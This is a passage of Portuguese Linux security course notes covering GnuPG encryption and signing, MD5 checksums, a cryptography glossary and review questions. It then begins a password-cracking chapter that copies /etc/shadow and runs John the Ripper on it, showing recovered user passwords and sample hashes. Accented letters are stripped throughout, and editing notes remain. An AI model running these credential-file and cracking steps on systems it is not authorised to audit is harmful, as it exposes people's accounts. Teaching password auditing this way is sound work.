CAST5 Digite a frase secreta: Ao digitar a frase senha correta, o texto original ser gravado no arquivo definid o pela opo -o. Nota: Ao descriptografar o arquivo, alguns alertas sobre a integridade do arquiv o ser apresentado. Mais a frente ser apresentado algumas funes hash que podem ser ut ilizadas para garantir a integridade do arquivo. GnuPG? para criptografia assimtrica A utilizao do GnuPG? baseado no gerenciamento correto das chaves de criptografia. O GnuPG? utiliza de um chaveiro digital cuja chaves pblicas so anexadas a ele.

O procedimento de recebimento de mensagens ou qualquer tipo de dado criptografad o na criptografia assimtrica pode ser entendido da seguinte forma: 1.Deve-se gerar o par de chaves chave pblica e privada. 2.Disponibilizar a chave pblica para pessoas que desejam mandar dados para vo c. 3.A pessoa que quer mandar dados para voc, dever importar sua chave pblica para seu chaveiro. 4.Os dados devero ser criptografados com sua chave pblica e ser repassado para voc. 5.Voc, atravs de sua chave privada, ir decriptografar os dados. Gerar o par de chaves: hand Para gerar um par de chaves, execute: #gpg --gen-key hand Ao executar este comando, ser perguntado o tipo de algoritmo a ser utilizado . Por favor selecione o tipo de chave desejado: (1) DSA e ElGamal (padro) (2) DSA (apenas assinatura) (5) RSA (apenas assinatura) Sua opo? O padro de utilizao do GnuPG? o algoritmo DSA e ElGamal?. Depois de escolher o tipo de algoritmo, o prximo passo definir o tamanho do par de chaves, veja: O par de chaves DSA ter 1024 bits. Prestes a gerar novo par de chaves ELG-E. tamanho mnimo 768 bits tamanho padro 1024 bits tamanho mximo sugerido 2048 bits Que tamanho de chave voc quer? (1024) Trs tamanhos de chaves diferentes podem ser utilizado: 768, 1024 e 2048 bits. O p adro 1024 e pode ser alterado de acordo com seu critrio. A prxima etapa definir a d ata de validade: Por favor especifique por quanto tempo a chave deve ser vlida. 0 = chave no expira <n> = chave expira em n dias <n>w = chave expira em n semanas <n>m = chave expira em n meses <n>y = chave expira em n anos A chave valida por? (0) O valor 0 zero significa que a chave nunca expira. Este valor utilizado por padro . Use para n dias, w para n semanas, m para n meses e y para n anos. Um pedido d e confirmao ser perguntado em seguida: A Key no expira nunca Est correto (s/n)? Agora hora de definir o identificador de usurio. Este identificador de usurio util izado para identificar sua chave. A pessoa que for enviar dados para voc ir necess itar deste identificador para selecionar sua chave pblica corretamente.

Voc precisa de um identificador de usurio para identificar sua chave; o programa constri o identificador a partir do Nome Completo, Comentrio e Endereo Eletrnico desta forma: "Heinrich Heine (Der Dichter) <heinrichh@duesseldorf.de>" Nome completo: Joao Paulo de Lima Endereo de correio eletrnico: jpaulo@sistemasabertos.com.br Comentrio: jplima Voc selecionou este identificador de usurio: "Joao Paulo de Lima (jplima) <jpaulo@sistemasabertos.com.br>" Muda (N)ome, (C)omentrio, (E)ndereo ou (O)k/(S)air? O O identificador de usurio criado a partir do Nome Completo, Correio Eletrnico e Co mentrio. No final, um pedido de confirmao necessrio, caso esteja correto, digite O d e OK. Para comear a gerar o par de chaves necessrio digitar uma frase secreta e em segui da confirm-la conforme mostrado abaixo. Digite a frase secreta: Repita a frase secreta: Depois de digitar esta frase, ser gerado o par de chaves. No final ser apresentado um relatrio sobre o par de chaves incluindo sua impresso digital. chaves pblica e privada criadas e assinadas. chave marcada como de confiana absoluta pub 1024D/5BDC7550 2003-05-05 Joao Paulo de Lima (jplima) <jpaulo@sistemasaberto s.com.br> Impresso da chave = F4B3 BED5 3E94 D105 3F60 F8F7 7FC1 52AA 5BDC 7550 sub 1024g/5E819CC9 2003-05-05 Atravs da sada acima possvel observar que o par de chaves criado e assinado automat icamente. Estas chaves so guardadas no diretrio pessoal de cada usurio ~/.gnupg. As sim, todos usurios podem criar suas prprias chaves. &&inclusive chaveiro; conceitu ar chaveiro (keyring); explicar cada um dos arquivos?&& Exportar chave pblica para arquivo: Depois de gerar o par de chaves necessrio exportar a chave pblica para um arquivo. Isto porque a chave pblica deve ser disponibilizada de forma que as pessoas inte ressadas em mandar mensagens para voc tenham acesso a ela. Para exportar a chave pblica para um arquivo, execute: #gpg --export -o jpaulo.pub Este arquivo exporta a chave pblica para o arquivo jpaulo.pub. No existe uma sinta xe adequada para o arquivo de chave pblica. Entretanto, utilize um nome de arquiv o intuitivo que facilite a identificao do usurio. Este arquivo deve ser disponibilizado para quem possue interesse em enviar infor maes para voc. Pode, por exemplo, mandar um email com o arquivo de chave pblica em a nexo. Importar a chave pblica:

Nesta etapa, a pessoa que recebeu a chave pblica dever import-la para seu chaveiro digital. Este procedimento possvel atravs do comando a seguir: #gpg --import jpaulo.pub gpg: chave 5BDC7550: chave pblica "Joao Paulo de Lima (jplima) <jpaulo@sistemasab ertos.com.br>" importada gpg: Nmero total processado: 2 gpg: importados: 2 Tendo em mos a chave pblica, qualquer tipo de dado poder ser criptografado e enviad o para a pessoa Joao Paulo de Lima. Lembrando que, ao criptografar com a chave pb lica, somente quem possui a chave privada correspondente poder decriptografar. Listar o contedo do chaveiro: Sempre bom saber o contedo do chaveiro ou mesmo verificar se uma chave foi import ada corretamente. Esta verificao pode ser feita atravs do comando: #gpg --list-keys pub 1024D/5BDC7550 2003-05-05 Joao Paulo de Lima (jplima) <jpaulo@sistemasabert os.com.br> sub 1024g/5E819CC9 2003-05-05 Neste caso, somente uma chave do est importada. Criptografar utilizando a chave pblica: Em posse da chave pblica, possvel criptografar nosso primeiro exemplo que ir utiliz ar um arquivo texto. Portanto, crie um arquivo texto e, em seguida, execute: #gpg --encrypt teste.txt Insira o identificador do utilizador. Termine com uma linha vazia: jplima gpg: 5e819cc9: No h indicao de que a assinatura pertence realmente ao dono. 1024g/5E819CC9 2003-05-05 "Joao Paulo de Lima (jplima) <jpaulo@sistemasabertos.c om.br>" Impresso da chave primria: F4B3 BED5 3E94 D105 3F60 F8F7 7FC1 52AA 5BDC 7550 Impresso da subchave: AEC1 9E00 9B10 197F 8976 3FE8 06C2 A00A 5E81 9CC9 NO se tem certeza de que esta chave pertence ao seu dono. Se voc *realmente* sabe o que est a fazer, pode responder sim prxima pergunta Usa esta chave de qualquer modo?sim Added 1024g/5E819CC9 2003-05-05 "Joao Paulo de Lima (jplima) <jpaulo@sistemasabe rtos.com.br>" Insira o identificador do utilizador. Termine com uma linha vazia: No campo de identificao de usurio deve-se utilizar o Nome, Endereo de Email ou Comen trio do usurio para qual ser enviado o arquivo. a partir deste identificador que o arquivo ser criptografado com a chave pblica correta. Observe que GnuPG? ir enviar alguns alertas indicando que no h a certeza de que a assinatura pertence realmente ao seu dono. Neste caso, voc poderia entrar em contado com o destinatrio Joo Paulo e solicitar a impresso digital de seu par de chaves. Basta fazer uma comparao das impresses digitais e verificar a autenticidade das chaves. A impresso digital da c have pode ser observada no final da execuo do comando apresentado. Para teminar o processo de criptografar, na segunda vez que pedir o identificado r do usurio, pressione somente ENTER. Um arquivo com extenso .gpg ser gerado. Este arquivo criptografado dever ser enviado para o usurio Joo Paulo.

Decriptografar o arquivo utilizando chave privada: Para descriptografar o arquivo utilizando a chave privada, execute: #gpg -o teste.txt --decrypt teste.txt.gpg Voc precisa de uma frase secreta para desbloquear a chave secreta do usurio: "Joao Paulo de Lima (jplima) <jpaulo@sistemasabertos.com.br>" chave de 1024-bit/ELG-E, ID 5E819CC9, criada em 2003-05-05 (ID principal da chav e 5BDC7550) Digite a frase secreta: gpg: criptografado com chave 1024-bit ELG-E, ID 5E819CC9, criada em 2003-05-05 "Joao Paulo de Lima (jplima) <jpaulo@sistemasabertos.com.br>"

Para descriptografar ser necessrio digitar a frase secreta que foi definida na ger aco do par de chaves. A opo -o utilizada para definir o arquivo de sada que ser o ar uivo decriptografado. Nota: Observe que na criptografia assimtrica somente uma das partes necessita da frase secreta e da chave privada. A pessoa que quiser transmitir mensagens ir pre cisar apenas de chave pblica Esta chave no oferece risco ao sistema criptogrfico as simtrico. GnuPG? para Assinar Arquivos O GnuPG? pode ser utilizado para gerar assinaturas de arquivos criptografados ou no-criptografados. Vejamos o primeiro tipo de assinatura: #gpg --clearsign documento_assinado.txt Voc precisa de uma frase secreta para desbloquear a chave secreta do usurio: "Joao Paulo de Lima (jplima) <jpaulo@sistemasabertos.com.br>" chave de 1024-bit/DSA, ID 5BDC7550, criada em 2003-05-05 Digite a frase secreta: Este comando ir criar uma assinatura arquivo documento_assinado.txt.asc - cujo ob jetivo garantir que o arquivo veio da pessoa confivel. A assinatura tambm garante sua integridade, ou seja, se houver alterao do texto original, a assinatura no ir co nferir. Para este caso de assinatura, somente o arquivo de assinatura arquivo co m extenso .asc dever ser enviado para o destinatrio. Veja um exemplo do arquivo de assinatura apresentado abaixo: #cat documento_assinado.txt.asc -----BEGIN PGP SIGNED MESSAGE----Hash: SHA1 teste de assinatura -----BEGIN PGP SIGNATURE----Version: GnuPG v1.2.2 (GNU/Linux) iD8DBQE+twqSf8FSqlvcdVARAhUgAJ9lK86OdyJ94E93SjY1KyRJi8OO5ACfdsiA GA9VvVci9nK1JMvm5Hi1F6I= =5+QJ -----END PGP SIGNATURE----O texto original est apresentado em negrito. A assinatura comea a partir da linha: -----BEGIN PGP SIGNATURE-----

Para testar a veracidade da assinatura, o destinatrio que receber o arquivo assin ado dever possuir a chave pblica em seu chaveiro e executar o seguinte comando: #gpg --verify documento_assinado.txt.asc gpg: Assinatura correta de "Joao Paulo de Lima (jplima)" A assinatura no ir conferir quando o arquivo assinado sofrer qualquer alterao. #gpg --verify documento_assinado.txt.asc gpg: Assinatura INCORRETA de "Joao Paulo de Lima (jplima) Este tipo de assinatura muito utilizada para envio e recebimento de arquivos tex to. Na distribuio de softwares, no interessante utilizar este tipo de assinatura. P ara assinar programas, geralmente disponveis atravs um arquivo compactado, deve-se criar uma assinatura em um arquivo separado. Para isto, um novo parmetro do gpg est apresentado: #gpg --detach-sign software.tar.gz Nesta assinatura ser criado um arquivo com extenso .sig , ou seja, o arquivo de as sinatura ser chamado software.tar.gz.sig. Assim, os dois arquivos devero ser passa dos para o destinatrio que poder fazer a verificao da assinatura conforme apresentad o no exemplo anterior. A assinatura no ir conferir quando houver alterao em qualquer dos dois arquivos. GNU Privacy Assistant O Gnu Privacy Assistant GPA - uma interface grfica para uso do GnuPG?. O GPA pode ser utilizado para criptografar, decriptografar, assinar e verificar assinatura s e gerenciar chaves pblicas e privadas do GnuPG?. Est disponvel no endereo oficial do GnuPG? http://www.gnupg.org. Antes de instal-lo, verifique se o pacote GTK+ Gimp Tool Kit est instalado no sistema. Caso no esteja, seu download pode ser feit o no endereo http://www.gtk.org. Programas de email A maioria dos programas de email disponvel no mercado possuem suporte ao GnuPG?. Abaixo est apresentado alguns deles: Mozilla/Netscape Pine Kmail Eudora Mutt exmh Atravs destes clientes de email possvel criptografar, descriptografar e assinar me nsagens. Mozilla e Netscape: Para usar o GnuPG? com o mozilla ou netscape 6.0 ou superior necessrio instalar o plugin EnigMail?. Este plugin possibilita o envio de emails criptografados e as sinados, permite descriptografar e verificar a autenticidade de um email recebid o e importar e exportar chaves pblicas. A instalao do plugin baseado na instalao do pacote: Enigmail. Depois de instalado, r einicie o mozilla ou netscape e voc j estar apto a fazer uso do GnuPG? para enviar e receber mensagens criptografadas e assinadas.

Kmail: O Kmail um programa de email padro do KDE que possui suporte ao GnuPG?. Da mesma forma que o mozilla, o Kmail possibilita criptografar, decriptografar e assinar emails. Antes de usar o Kmail, voc dever inscrever seu ID de usurio GnuPG? na seo ide ntify da configurao de Kmail. O email no ser criptografado e assinado por padro, para isto deve-se selecionar Encrypt Message e Sign Message na barra de ferramentas do Kmail. Soma MD5 Vrios sites utilizam de um mecanismo chamado soma MD5 para disponibilizar publica mente alguns softwares na Internet. Esta soma equivalente a uma assinatura. Entr etanto, garante apenas a integridade do software. Esta ferramenta baseada na funo hash MD5 que toma como entrada um arquivo de tamanho arbitrrio e produz um arquiv o de verificao de 128 bits. Nota: Estima-se que computacionalmente impossvel produzir dois arquivos de verifi cao iguais. hand Criando um arquivo de verificao - soma MD5: #md5sum seguranca.txt > seguranca.txt.md5 #cat seguranca.txt.md5 6782532461f5fa13ecce0fad23d95a1f seguranca.txt O comando acima gera um arquivo chamado segurana.txt.md5. Este o arquivo de soma MD5 utilizada para conferncia da integridade do arquivo original seguranca.txt. Verificando a soma MD5: Para verificar a soma MD5, execute: #md5sum -c seguranca.txt.md5 seguranca.txt: A soma coincide Como no houve alterao em nenhum dos arquivos, a verificao confirma a integridade dos arquivos. Altere o arquivo e verifique novamente: #md5sum -c seguranca.txt.md5 seguranca.txt: A soma no coincide md5sum: ATENO: calculado 1 de 1 soma de teste (checksum) no confere Nota: a ferramenta md5sum est disponvel atravs do pacote textutils que pode ser enc ontrado no endereo http://www.gnu.org/software/textutils/. Links Indicados http://www.gnupg.org Site oficial do GnuPG?. Disponibiliza download e docume ntao. Este site tambm disponibiliza umA ferramenta grfica para facilitar o uso do Gn uPG?, o GPA GNU Privacy Assistant. http://www.pgp.com - Site do PGP Pretty Good Privacy - Corporation. Disponib iliza todas as informaes sobre o PGP. http://www.openbsd.org/crypto.html Este endereo possui informaes sobre os vrios algoritmos de criptografia. http://www.counterpane.com/products.html Este endereo possui um lista de prog ramas que utilizam Blowfish.

http://www.ssh.fi/tech/crypto/algorithms - Possui documentao sobre criptografi a: introduo, algoritmos, protocolos e padres. [BGC] - Beginner's Guide to Crytography - Guia para o iniciante em criptogra fia http://www.murky.org/cryptography/index.shtml um site que ainda no possui muito c ontedo, mas que difere dos demais sendo mais simples e agradvel. Possui quebra-cab eas didticos sobre criptografia. http://www.pgpi.org/doc/whypgp/br - Why PGP - documento interessante escrito por Phill Zimmermann traduzido em portugus, descrevendo o porqu da criao do PGP. Mo stra aspectos polmicos e interessantes sobre o direito privacidade dos cidados. [WIK] - Wikipedia - Enciclopdia Livre Online http://www.wikipedia.org/wiki/Cryptography http://www.wikipedia.org/wiki/Cryptan alysis Em (a) temos uma tima definio de criptografia e outros termos correlatos, alm de uma viso histrica e de uma boa classificao de algoritmos de criptografia. Em (b) temos uma boa viso sobre a criptoanlise e como ela tem se provado eficaz, depende ndo somente de tempo - s vezes incomensurvel para o poder de processamento atual-, em quebrar os vrios algoritmos de criptografia. Teminologia Utilizada

Criptografia - uma palavra oriunda do grego: krypts oculto e grheim - escre cincia que estuda formas de codificar dados de forma a garantir: Confidencialidad e, Integridade, Autenticidade e Disponibilidade. &&disponibilidade um termo que coloque em dvida; veja os pargrafos iniciais&& Criptoanlise - "krypts" oculto - e "analyein" desfazer -, a cincia que estuda s princpios, processos e mtodos para desvendar os segredos dos sistemas criptogrfic os existentes. Quebrar Palavra popular utilizada para descrever o processo de decifar, alte rar e violar os sistemas criptogrficos. Criptografar - compreende a transformao de um texto ou arquivo de dados legvel, em algo ilegvel ou irreconhecvel, denominado texto cifrado. &&explicar que a crip tografia tambm garante a reversibilidade para o dados legvel atravs de uma chave ap ropriada;&& Decriptografar - o processo inverso da operao de criptografar, ou seja, dado o texto cifrado, atravs do emprego do mesmo algortmo e da mesma chave usados na cri ptografia, obtm-se o texto original. Chave criptogrfica um nmero e/ou uma palavra que em conjunto com o algoritmo de criptografia utilizada para criptografar ou decriptografar. Criptografia simtrica - criptografia em que a chave para criptografar a mesma chave utilizada para decriptografar. DES Data Encryption Standart um algoritmo de criptografia simtrica desenvolvi da e patenteada pela IBM a partir de seu algoritmo conhecido como lucifer. IDEA International Data Encryption Algorithm Desenvolvido em alternativa ao algoritmo DES e, portanto, tambm um algoritmo de chave simtrica. Patenteado pela A scom.

Blowfish Tambm um algoritmo criptogrfico simtrico criado em alternativa ao DES. Desenvolvido por Bruce Schneier e pode ser utilizado sem restrines de patente e l icenciamento. Criptografia assimtrica Tipo de criptografia em que a chave utilizada para cr iptografar diferente da chave para decriptografar. Chave pblica Chave utilizada na criptografia assimtrica para criptografar. Uma vez criptografado com esta chave, somente a chave privada poder decriptografar. Chave privada Chave utilizada na criptografia assimtrica para decriptografar. Esta chave deve ser mantida em sigilo absoluto. &&tambm chamada de chave secreta - conforme gpg&& Assinatura digital A assinatura pode ser definido como um conjunto de dados em arquivo ou no prprio corpo da informao com a finalidade de autenticar a origem d a informao e garantir que os dados criado por tal pessoa, entidade ou processo no s eja corrompidos durante sua trajetria. Certificao - Um certificado pode ser considerado uma chave pblica assinada. Por tanto, certificaes so utilizadas na criptografia assimtrica para identificar o propr ietrio de um determinado par de chaves. Fingerprint Impresso digital do par de chaves. Cada par de chaves possui uma impresso digital nica. Este fingerprint o mesmo tanto para a chave pblica quanto pa ra a chave privada e pode ser utilizado por ambas as partes para verificar a ver acidade destas chaves. &&fingerprint mais geral; um calculo hash; o uso de finge rprint em chaves um dos usos do fingerprint, que tambm podem ser utilizados em ar quivos; MD5 um tipo de fingerprint de arquivo&& CAs Autoridades Certificadoras So entidades com a finalidade de regularizar e garantir a confiabilidade de uma chave pblica. Estas entidades funcionam como ca rtrios digitais emitindo certificados assinados que so reconhecidos publicamente. PGP Pretty Good Privacy - software que suporta os vrios tipos e algoritmos de criptografia. Foi desenvolvido originalmente por Philip Zimmermann no ano de 19 90 GnuPG? GNU Privacy Guard - O GnuPG? uma verso livre do PGP que no necessita de licenas para uso. RSA Algoritmo de criptografia assimtrico. Nome oriundo das iniciais dos sobre nomes de seus autores: Ron Rivest, Adi Shamir e Leonard Adleman. A patente deste algoritmo expirou em setembro de 2000 e somente vlida nos EUA. DSA um algoritmo de criptografia assimtrica criado por David Kravitz. Foi cri ado para ser utilizado em alternativa ao algoritmo RSA. Este algoritmo pode ser utilizado sem restries de patentes e licenas. Exerccios de Reviso 1. Faa um prpria definio sobre criptografia. O que a criptografia deve garantir? 2. Fale com suas prprias palavras sobre criptografar, decriptografar, chave c riptogrfica, algoritmo de criptografia e texto cifrado. 3. Fale sobre os dois tipos de criptografia. Quais as vantagens de cada uma em relao a outra?

4. Explique detalhadamente o funcionamento da criptografia assimtrica. 5. O que assinatura digital? Fale sobre sua finalidade e funcionamento. 6. Quais as definies de certificados, fingerprint e autoridades certificadoras ? 7. Sabemos que a criptografia simtrica mais rpida que a assimtrica, entretanto a criptografia simtrica possui a desvantagem de utilizar a mesma chave para cript ografar e decriptografar e portanto sempre deve ser transferida de um lado para o outro. Como usar os dois tipos de criptografia em conjunto de forma a utilizar os benefcios de cada uma? Crackers de Senhas Este captulo trata as ferramentas denominadas como Crackers de Senhas cuja finali dade decifrar os arquivos de senhas e obter as senhas de usurios. Para tal objeti vo, ser apresentado o funcionamento dos arquivos de senhas e medidas de como difi cultar este tipo de ataque. Senhas no Sistema Linux

As senhas no sistema Linux so armazenadas de forma criptografada. A criptografia baseada em duas vias: processo de criptografar e processo de decriptografar. Ent retanto, o sistema Linux utiliza de funes unidirecionais de forma que uma vez crip tografado, no ser possvel decriptografar. Estas funes unidirecionais tambm so chamad de funes hashing e a senha depois de criptografada chamada de hash de senha. O leitor ento poderia perguntar: Ento como o Linux faz para autenticar seus usurios ? Na verdade, a autenticao baseado na comparao entre o hash de senha armazenado e o hash de senha gerado a partir da senha digitada no prompt de login do usurio. Por tanto, toda vez que um usurio tenta login no Linux, sua senha criptografada para que o hash de senha gerado possa ser comparado como o arquivo de senhas, caso se ja igual senha correta - caso contrrio - senha incorreta. fig 1. Sistema de autenticao de usurio no sistema Linux. Nota: Alguns autores no consideram funces unidirecionais como sistemas criptogrfico s. Em nosso estudo, no ser feita necessariamente esta diferenciao. Pois popularmente o termo criptografar muito utilizado em lugar de gerar hash de senha. Cabe ao l eitor compreender bem o significado de funes unidirecionais e hash de senha. Arquivo de senhas do Linux Tanto o Linux quanto o UNIX antigamente utilizavam o arquivo /etc/passwd para gu ardar as senhas criptografadas hash de senha. Porm, este arquivo tambm guardava vri as outras informaes como: nome de usurio, shell do usurio, diretrio home etc. Estas i nformaes obrigava este arquivo a ter permisses 644, ou seja, deveria ser lido por t odos. Esta ltima necessidade, com a evoluo dos programas crackers de senhas, compro metia a segurana das senhas do sistema. Uma vez que, qualquer usurio, poderia copi ar o arquivo e tentar quebrar as senhas de todos os usurios por meio de um cracke r de senha. Veja abaixo um exemplo de contedo do arquivo de passwd quando armazen ava senhas: root:$1$t0HfgMcj$p6Hj.CVMxYicdJuf8CzOg/:0:0:root:/root:/bin/bash Esta linha apresenta apenas o usurio root. Nesta sada possvel observar o hash de se nha em negrito. Este hash de senha proveniente da senha systemsa. O problema das permisses de arquivo foi resolvido criando-se um arquivo exclusiva

mente para armazenar as senhas do sistema Linux. Este arquivo chama-se /etc/shad ow e sua permisses so 400, sendo que o dono e o grupo root por padro. Portanto, o ni co usurio que pode ver seu contedo root. Abaixo est apresentado um exemplo do arquivo shadow: root:$1$t0HfgMcj$p6Hj.CVMxYicdJuf8CzOg/:12180:0:99999:7::: A funo do arquivo shadow no somente armazenar a senha criptografada, existem outros campos que podem ser utilizados para configuraes relacionadas as senhas dos usurio s. Estes campos sero estudados mais a frente. Todas as distribuies em suas verses mais novas j incorporaram o arquivo shadow. Jama is utilize o arquivo passwd para armazenar senhas como antigamente. O algoritmo DES

O algoritmo DES Data Encryption Standart junto com a funo CRYPT que uma funo hash j foi muito utilizado no arquivo de senha do Linux. Atualmente o padro de utilizao o algoritmo MD5. O dois algoritmos utilizam dois argumento de entrada para na sad a gerar o hash de senha. Estes argumentos so: salt e chave. Salt uma string de do is caracteres escolhida no conjunto {a-z,A-Z,0-9, . e /} utilizado para gerar o hash de senha a partir da chave. A chave a prpria senha digitada pelo usurio que n a criptografia DES possui a limitao de 8 caracteres. Assim, a mesma senha se for c riptografada duas vezes ter o seu hash de senha diferente devido a utilizar um sa lt diferente. A possibilidade de um mesmo texto cifrado ter o mesmo salt de 1/4096. Ou seja, m esmo que um usurio tenha a mesma senha, a probabilidade do hash de senha ser o me smo 1/4096. As caractersticas do formato de hash de senha DES est descrito abaixo: Possui um tamanho de 13 caracteres Os dois primeiros caracteres compe o salt. Hashes de senhas do tipo CRYPT podem ser criados e armazenados em arquivo atravs do comando htpasswd. #htpasswd -c arquivodesenha fulano htpasswd -c arquivodesenha fulano New password: Re-type new password: Adding password for user fulano A opo -c usada para criar o arquivo de senha. Para criar novos usurio ou alterar se nha a partir do segundo comando no ser mais necessrio esta opo. Nota: Este comando muito utilizado em servidores Web para criar arquivos de senh a. Este comando ser mais explorado no captulo sobre Segurana no Servidor Web. O contedo do arquivo gerado ser aparecido com: #cat arquivodesenha fulano:Z0suJwBBbIs7w A sada em negrito do arquivo o hash de senha. possvel observar treze caracteres se ndo que os dois primeiros o salt. O texto cifrado foi gerado a partir da chave se nha123. Se esta mesma senha for criptografada produzir um hash de senha diferente como por exemplo:

fulano:mWNbk3j7fPTr. O algoritmo MD5 O MD5 Message Digest verso 5 o algoritmo de hashing utilizado no arquivo de senha do Linux - /etc/shadow. Este algoritmo a partir de uma mensagem de comprimento arbitrrio senha produz na sada um um hash de senha de 128 bits. O MD5 uma funo hashing mais segura que o algoritmo DES. O MD5 no possue limitaes de amanho de chaves e o salt um nmero randmico maior que o utilizado pela funo CRYPT. As caractersticas do formato do hash de senha MD5 est descrito abaixo: Possui tamanho de 128 bits O salt separado da chave codificada atravs do caractere $. O hash de senha MD5 do arquivo shadow possui 34 caracteres. Nota: Uma funo hash que foi criada em 1996 chamada de SHA1 est cada vez mais sendo utilizada. Programas como o OpenSSL? j adota este tipo algoritmo de funo hashing. Exemplos hashes de senhas MD5 pode ser econtrada atravs do arquivo de senhas do L inux - /etc/shadow. Veja o exemplo: fulano:$1$jPNWxqYe$S.BjYjP65UwfxIQoz0QBm.:12180:0:99999:7::: A hash de senha est mostrado em negrito. Este hash de senha foi gerado a partir d a chave senha123. O salt compe a parte $1$jPNWxqYe$. Cracker de senha

So ferramentas com a finalidade de decifrar as senhas. Estas ferramentas so basead as em ataques de dicionrios. Como as funes hashing so funes unidirecionais, estas fer amentas so baseadas em tentativas e erros. Assim, o cracker ir, atravs de um dicionr io de senha, criptografar e comparar o resultado de palavra por palavra com o ar quivo de senha. Se o resultado for igual, conclui-se que a senha foi descoberta, caso contrrio a senha esta incorreta. Antes de comear criptografar e comparar as palavras do dicionrio, o cracker ir prim eiramente identificar o salt no arquivo de senha para depois criptografar as pal avras com o salt correto. O processo de quebra de senha um processo relativament e demorado, pois depende da senha a ser quebrada senha forte ou fraca. Senhas fortes So senhas criadas aleatriamente que no so baseadas em qualquer pad ro pr-estabelecido: palavras de dicionrios, datas especiais como aniversrio, placa d e carro, CPF etc. Uma boa senha deve ser alternada entre caracteres especiais, a lfa-numrico palavras maisculas e minsculas - e numrico. Senhas fracas So senhas criadas a partir de padres e palavras conhecidas como por exemplo: palavras encontradas em dicionrios. Tambm considerada senhas fracas a quelas baseada em algum dado pessoal e qualquer senha que possua uma quantidade pequena de caracteres - menor que 8. Nota: qualquer senha pode ser quebrada. Entretanto, uma senha forte poder levar u m tempo invivel tempo em que provavelmente o responsvel pela senha j alterou a senh a ou at mesmo faleceu. Os crackers de senhas no s checam as palavras que esto em seu dicionrio assim como p ermutam e combinam valores. Quanto maior o dicionrio, maior o poder do cracker de senha. Entretanto, um dicionrio particular elaborado a partir de dados pessoais do usurio que voc quer quebrar a senha mais eficiente. Voc tambm pode pensar da segu

inte forma: para usurios italianos seria interessante utilizar um dicionrio italia no, para brasileiros ser interessante utilizar um dicionrio portugus e assim por di ante. Atualmente o cracker mais eficiente disponvel para Linux o John the Ripper. Este ser o cracker estudado em nosso material. Nota: Existe um outro cracker de senha chamado Crack disponvel para Linux. O Crac k um programa usado para decifrar senhas desenvolvido por Alec D. E. Muffet. Est e cracker foi um dos primeiros a ser criado e serviu como base para as diversas ferramentas correlacionadas que surgiram posteriormente, entre elas o famoso Joh n the Ripper. John the Ripper O john the Ripper um programa usado para decifrar senhas suportado nas plataform as UNIX, DOS, WinNT?/Win95. um programa disponvel gratuitamente desenvolvido para decifrar senhas MD5, DES baseado na funo CRYPT. O John the Ripper baseado em ataques de dicionrios e possui as seguintes caracters ticas: A execuo do John the Ripper pode ser interrompida e reiniciada. Ou seja, o pro cesso de quebra de senha ser recomeado a partir do ponto onde ele foi interrompido . possvel especificar um prprio dicionrio de senha. O john the Ripper possui um d icionrio de senha prprio. Entretanto, permitido criar ou utilizar ou outro dicionri o de senhas. possvel obter o estado de um sesso interrompida ou em execuo. Os usurios cuja senhas deseja-se decifrar pode ser definido. Instalao do John the Ripper: O John the Ripper est disponvel no endereo http://www.openwall.com/john. Faa downloa d do pacote no diretrio /usr/local/src. Em seguida, execute: # tar xvfz john-1.6.tar.gz #cd john-1.6/src #make To build John the Ripper, type: make SYSTEM where SYSTEM can be one of the following: linux-x86-any-elf Linux, x86, ELF binaries linux-x86-mmx-elf Linux, x86 with MMX, ELF binaries linux-x86-k6-elf Linux, AMD K6, ELF binaries linux-x86-any-a.out Linux, x86, a.out binaries linux-alpha Linux, Alpha linux-sparc Linux, SPARC Ao executar make ser apresentado os sistemas operacionais suportados. Por questes de formataes foi mostrado apenas os tipos de sistemas Linux suportados. De acordo com seu tipo de processador execute o comando: make linux-x86-any-elf O executvel john ser instalado, para este caso, no diretrio /usr/local/src/john-1.6 /run. Quebrando senhas do arquivo shadow:

hand Primeiramente, voc dever copiar o arquivo de senha - /etc/shadow para o diretr io do cracker. #cp /etc/shadow /usr/local/src/john-1.6/run hand Abaixo est apresentado um exemplo de quebra de senha: #./john shadow Loaded 6 passwords with 6 different salts (FreeBSD MD5 [32/32]) airam (maria) abc123 (gardenia) jesus (paulo) A sada do comando permite observar a quebra de trs senhas nome do usurio est entre c olchetes, a senha est na primeira coluna. Todas as senhas apresentadas so exemplos de senhas fracas. O John the Ripper ir quebrar estas senhas em menos de 20 segun dos dependendo do processador. As senhas quebradas so armazenadas no arquivo john.pot. Enquanto o john estiver s endo executado possvel pressionar qualquer tecla para obter o estado atual: guesses: 3 time: 0:00:14:18 85% (2) c/s: 345 trying: 6tricia O john guarda a cada dez minutos o estado atual de execuo no arquivo john.ini. Interrompendo e recuperando uma sesso: hand Para interromper o john execute CRTL+C. Para recuperar uma sesso interrompid a, execute: #./john -restore Verificando senhas que foram quebradas: Muitas vezes acontece de executar o comando, quebrar vrias senhas e depois esquec er quais senhas foram quebradas. Para relembrar as senhas quebradas, execute: #./john -show shadow maria:airam:12181:0:99999:7::: gardenia:abc123:12181:0:99999:7::: paulo:jesus:12181:0:99999:7::: 3 passwords cracked, 3 left hand possvel ainda recuperar a senha de um usurio especfico: #./john -show -users:maria shadow maria:airam:12181:0:99999:7::: 1 password cracked, 0 left Utilizando um dicionrio prprio: Por padro o arquivo de dicionrio do John the Ripper chama-se password.lst. Neste a rquivo voc pode fazer as alteraes que achar necessrio. Um teste pode ser feito da se guinte forma: Caso a sua senha no foi quebrada, adicione sua senha no arquivo de dicionrio. Obviamente, a partir de agora, sua senha ser decifrada. hand Para utilizar o John the Ripper com um dicionrio prprio, utilize o parmetro -w

ordfile conforme mostrado: #./john -wordfile:/root/dicionario.txt shadow Dicionrios de senhas podem ser encontrados nos endereos http://packetstormsecurity .org e ftp://ftp.fu-berlin.de/unix/security/dictionaries/. Modo de operao do john:

O john possui quatro modos de operao: -wordlist, -single, -incremental e -external . Os modos do john so definies de operaes realizadas atravs do arquivo john.ini. O mo o -wordlist j foi apresentado. A seguir est apresentado a descrio de cada modo:

